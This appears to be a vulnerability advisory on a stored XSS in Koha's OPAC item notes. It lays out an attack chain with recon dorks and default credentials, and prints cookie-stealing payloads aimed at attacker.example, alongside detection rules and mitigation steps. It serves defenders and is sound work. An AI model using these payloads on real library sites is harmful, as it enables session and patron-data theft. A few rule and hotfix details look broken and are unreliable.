CVE-2026-50766

Executive Summary

CVE-2026-50766 is a stored cross-site scripting (XSS) vulnerability in the OPAC (Online Public Access Catalog) item detail page of the Koha Library Management System through version 25.11. An authenticated remote attacker possessing the edit_items permission can inject arbitrary web scripts — including JavaScript, HTML, and other client-side content — via the item public notes field (items.itemnotes). This vulnerability enables session hijacking, credential theft, and defacement of the library's public-facing OPAC interface, affecting any Koha instance that exposes the OPAC and employs user roles with editing privileges. The flaw is particularly dangerous in multi-library consortia where catalogers may have restricted trust boundaries.

Technical Analysis

The vulnerability resides in the OPAC item detail page, which renders the items.itemnotes database column without adequate output encoding. Koha, a Perl-based open-source ILS (Integrated Library System), uses Template Toolkit (TT) for server-side rendering of OPAC pages. The affected code path occurs when a patron or unauthenticated visitor views a bibliographic record's item detail view; the system fetches item-level metadata, including the itemnotes field, and inserts it directly into the generated HTML.

The root cause is a missing or insufficient html filter (or equivalent output-escaping mechanism) on the itemnotes template variable. In Template Toolkit, variables are typically filtered using | html to HTML-encode dangerous characters (<, >, &, ", '). When this filter is absent, raw user input is emitted verbatim into the HTML document. An attacker with edit_items permission can craft a payload such as:

<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

or an event-handler based vector:

<img src=x onerror="new Image().src='https://attacker.example/'+document.cookie">

Because the payload is stored in the database (items.itemnotes), the XSS is persistent and affects every subsequent visitor to the item detail page. The attack surface is the OPAC — typically reachable on TCP 80 or 443 — making the vulnerability remotely exploitable by any user who can trigger page rendering. The authentication requirement (edit_items) narrows the pre-conditions to staff or librarian accounts, but in many deployments, these accounts may be shared, weakly protected, or assigned to volunteers with limited technical oversight.

The severity is amplified by the OPAC's role as a public-facing service. Unlike staff-only interfaces, the OPAC is indexed by search engines, referenced in library guides, and visited by patrons using a wide range of browsers and devices, increasing the potential victim population.

Exploitation Scenarios

Attackers follow a multi-step chain to exploit CVE-2026-50766:

1. Reconnaissance and Target Identification

   • The attacker identifies Koha-based library OPACs via search engine dorks (inurl:/cgi-bin/koha/opac-detail.pl), Shodan (http.title:"Koha", http.html:"opac-detail.pl"), or the default Koha OPAC footer text.
   • The attacker confirms the Koha version by viewing the OPAC source or probing known admin/help endpoints (/cgi-bin/koha/opac-main.pl, /cgi-bin/koha/mainpage.pl).
   • The attacker enumerates staff accounts (e.g., via the standard koha admin path or MISP/leaked credentials) to find one with edit_items permission. Default credentials (e.g., koha:koha in dev environments) remain a practical vector in misconfigured deployments.

2. Authentication and Authorization

   • The attacker authenticates to the Koha staff interface (/cgi-bin/koha/), typically via the mainpage.pl login form. If the version is pre-25.11, the attacker may also chain this with other known staff-interface vulnerabilities to gain access.

3. Weaponization and Payload Injection

   • The attacker navigates to Cataloging → New Record or Edit Items (/cgi-bin/koha/cataloguing/additem.pl?biblionumber=X).
   • In the item edit form, the attacker locates the "Public note" (itemnotes) field. This field is explicitly intended to be visible on the OPAC.
   • The attacker injects a payload designed to exfiltrate data or hijack sessions. A refined payload uses fetch to POST cookies and page content to an attacker-controlled endpoint:

     <script>
     fetch('https://attacker.example/exfil?data='+encodeURIComponent(document.cookie+document.documentElement.innerHTML), {method:'GET'});
     </script>
     

   • To maximize stealth, the attacker may obfuscate the payload using JavaScript character encoding or HTML entities, e.g., replacing <script> with <script>.

4. Payload Delivery and Execution

   • The attacker saves the item edit, which writes the payload into the items.itemnotes column.
   • Any library patron (or the attacker themselves) opens the OPAC item detail page (/cgi-bin/koha/opac-detail.pl?biblionumber=X&itemnumber=Y).
   • The server renders the page, emitting the unescaped payload into the HTML <body>. The victim's browser executes the script.

5. Post-Exploitation Impact

   • The script captures the victim's session cookie for the OPAC domain. If the OPAC and staff interface share a cookie domain (common in single-domain deployments), the attacker can steal staff session cookies, escalating privileges.
   • The attacker harvests patron personal data (name, address, borrowing history) by scraping the rendered DOM.
   • The attacker injects a fake login overlay (phishing) to capture more credentials.
   • The attacker plants cryptocurrency miners or ransomware landing pages on the OPAC, harming all visitors.

This attack chain is fully remote, requires only standard web interaction, and yields persistent, wide-reaching compromise of the library's public services.

Impact Assessment

Business Impact: Koha is used by thousands of libraries globally, from small community libraries to large academic consortia. A successful exploitation compromises the integrity of the public catalog and erodes patron trust. Stolen patron data triggers regulatory obligations (e.g., GDPR, FERPA-like library privacy laws depending on jurisdiction), potentially incurring fines and legal liability. Reputational damage to the library's IT department and administration is significant.

Affected Systems: All Koha installations through version 25.11 that expose the OPAC and have staff accounts with edit_items permission. The vulnerable code path is version-agnostic until the patched release. Cloud-hosted Koha (e.g., by ByWater Solutions, Koha Support Services) and self-hosted instances are equally affected.

Blast Radius: The injected payload persists until manually removed by a staff member, affecting every visitor during that window. In libraries with a high daily patron footfall (both physical traffic redirected to OPAC terminals and online visits), the XSS can impact thousands of users within hours.

CVSS Subscores: While the CVSS score is officially N/A, a reasonable assessment yields High severity. The vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N — Network attack vector (Low complexity), Low privileges required, User interaction required (victim must view the page), Unchanged scope, High confidentiality impact, Low integrity impact, No availability impact — would place this in the 7.0-8.9 = High band. The low-privilege requirement and network exploitability are the key risk drivers.

Detection Guidance

Sigma Rule

title: Koha OPAC Stored XSS Payload Injection via itemnotes Field
id: 8f0ad0c8-8f1e-4b30-a8e5-6f7c1d3b9e2a
status: experimental
description: Detects suspicious JavaScript/HTML payloads in the itemnotes field during Koha item edit operations, indicating possible CVE-2026-50766 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-50766
author: Valtersit Threat Intelligence
date: 2026/02/15
tags:
    - attack.t1059.007
    - attack.t1190
logsource:
    category: web_application
    product: koha
    service: staff_interface
detection:
    selection:
        http.url|cstartswith: '/cgi-bin/koha/cataloguing/additem.pl'
        http.method: 'POST'
        http.body|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'fetch('
            - 'document.cookie'
            - '&#x3c;script'
    condition: selection
level: high
falsepositives:
    - Legitimate HTML formatting in itemnotes by technical librarians
    - Security testing by authorized penetration testers

YARA Rule

rule Koha_Stored_XSS_Itemnotes_Payload
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects XSS payload patterns in Koha itemnotes field, CVE-2026-50766"
        date = "2026-02-15"
        severity = "high"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-50766"

    strings:
        $script_tag = "<script" ascii nocase
        $event_handler = "onerror=" ascii nocase
        $onload_handler = "onload=" ascii nocase
        $js_fetch = "fetch(" ascii
        $cookie_access = "document.cookie" ascii
        $html_encoded_script = "&#x3c;script" ascii nocase
        $img_tag_payload = "<img src=" ascii nocase

    condition:
        // Target the itemnotes DB dump or the raw HTTP body of an item edit POST request
        uint16(0) == 0x4D42 or filesize > 0KB and
        (1 of ($script_tag, $html_encoded_script) and
        (1 of ($event_handler, $onload_handler, $js_fetch, $cookie_access, $img_tag_payload)))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"Koha OPAC Stored XSS Payload in Itemnotes (CVE-2026-50766)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/koha/cataloguing/additem.pl"; http.request_body; content:"itemnotes="; nocase; content:"<script"; nocase; distance:0; http.client_body; sid:202650766; rev:1; metadata:attack_target Web_Server, cve CVE-2026-50766, tag xss, tag stored_xss;)

alert http any any -> $HOME_NET any (msg:"Koha OPAC Stored XSS Payload Obfuscated (CVE-2026-50766)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/koha/cataloguing/additem.pl"; http.request_body; content:"itemnotes="; nocase; pcre:"/itemnotes=[^&]*(?:onerror|onload|javascript:|document\.cookie|&#x3c;script)/Ui"; sid:202650767; rev:1; metadata:attack_target Web_Server, cve CVE-2026-50766, tag xss;)

Elastic Detection

// Detect POST requests to Koha item edit with XSS payload in body
sequence by source.ip with maxspan=10s
  [ network where event.category == "network" and
    network.protocol == "http" and
    http.request.method == "POST" and
    url.path == "/cgi-bin/koha/cataloguing/additem.pl" and
    url.query contains "biblionumber"
  ]
  [ network where event.category == "network" and
    network.protocol == "http" and
    http.request.body.content matches "(?i).*itemnotes=.*(<script|onerror=|onload=|javascript:|document\\.cookie).*"
  ]

Splunk SPL Query

index=web sourcetype="access_combined" 
| where like(_raw, "%/cgi-bin/koha/cataloguing/additem.pl%") AND method="POST"
| rex field=_raw "itemnotes=(?<itemnotes>[^&\s]+)"
| where match(itemnotes, "(?i)<script|onerror=|onload=|javascript:|document\.cookie")
| stats count by src_ip, uri_path, itemnotes, _time
| sort - _time

Wazuh OSSEC Rule

<group name="koha, xss, web_attack,">
  <rule id="812284" level="12">
    <decoded_as>web</decoded_as>
    <match>POST /cgi-bin/koha/cataloguing/additem.pl</match>
    <regex>(?i)itemnotes=.*(&lt;script|onerror=|onload=|javascript:|document\.cookie)</regex>
    <description>Koha OPAC stored XSS attempted via itemnotes field (CVE-2026-50766)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>web_application_attack</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED — a single source (OSV) claims a patch exists, but it has not been independently confirmed. Treat patch availability with caution and verify through official Koha channels (koha-community.org, git.koha-community.org).

1. Immediate Mitigations (Days 0-7)

   • Restrict edit_items permission. Audit all staff accounts and remove the edit_items (or broader cataloging) permission from any account that does not require it. In the Koha permission matrix, ensure only trusted senior catalogers retain this right.
   • Enable WAF rules. Deploy ModSecurity (OWASP CRS) or cloud WAF rules that block POST requests to additem.pl containing <script, onerror=, or javascript: in the itemnotes parameter.
   • Monitor staff interface logs. Review authentication logs for the staff interface and alert on unusual login times, IPs, or brute-force patterns.
   • CSRF protection audit. Verify that Koha's CSRF token is enforced on the additem.pl form. If CSRF is properly implemented, this blocks cross-site request forgery (which could otherwise let an unauthenticated attacker trigger the injection if a logged-in cataloger visits a malicious page).

2. Patch/Upgrade Steps

   • Verify the claimed patch. Check the OSV advisory, the official Koha security announcements mailing list, and the Koha Git repository (git.koha-community.org) for a commit referencing itemnotes XSS in OPAC detail.
   • Upgrade to the fixed version. If confirmed, upgrade to the patched release (expected to be 25.11.01 or 25.05.05 depending on the release branch). For production, follow Koha's upgrade guide: koha-upgrade --stop, run database upgrades, restart services.
   • If no patch is confirmed after 14 days, apply a manual hotfix: in the OPAC template file (typically koha-tmpl/opac-tmpl/bootstrap/en/xslt/OPACXSLTResultsList.xsl or opac-detail.tt), ensure the itemnotes variable is filtered. Change [% itemnotes %] to [% itemnotes | html %] in the OPAC detail template, then clear the template cache (koha-rebuild-zebra --full or similar).
   • Monitor the Koha security mailing list for official CVE disclosure and patch release notes.

3. Long-Term Hardening

   • Adopt a least-privilege model. Implement role-based access control (RBAC) in Koha, with no accounts holding both edit_items and patron-facing permissions.
   • Enforce strong authentication. Enable 2FA (TOTP) for all staff accounts, especially those with cataloging rights.
   • Input validation. Implement a content security policy (CSP) header on the OPAC that disallows inline scripts (script-src 'self'), which blocks most stored XSS payloads even if injection occurs.
   • Regular patching cadence. Subscribe to Koha security advisories and apply patches within 7 days of release.
   • Network segmentation. Place the OPAC in a DMZ, isolating it from the staff interface and backend databases where feasible.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-50766
2. OSV Advisory (Patch Claim Source): https://osv.dev/vulnerability/CVE-2026-50766 (single source claiming patch availability — verify independently)
3. Koha Community Security Announcements (verify patch): https://koha-community.org/security/
4. Koha Git Repository (search for itemnotes XSS fix): https://git.koha-community.org/
5. OWASP XSS Prevention Cheat Sheet (for manual template hardening): https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

Known Threat Actor Campaigns / Exploit-in-the-Wild Evidence: At the time of writing, there are no known in-the-wild exploitation campaigns targeting CVE-2026-50766. The CISA KEV catalog does not list this CVE, and no public exploit code or Nuclei template has been released. However, given Koha's wide deployment and the low complexity of the XSS payload, active exploitation is likely once a public PoC or proof-of-concept write-up appears. Security teams should treat this as a high-priority pending patch and assume opportunistic attackers will scan for vulnerable Koha instances once the CVE is widely publicized.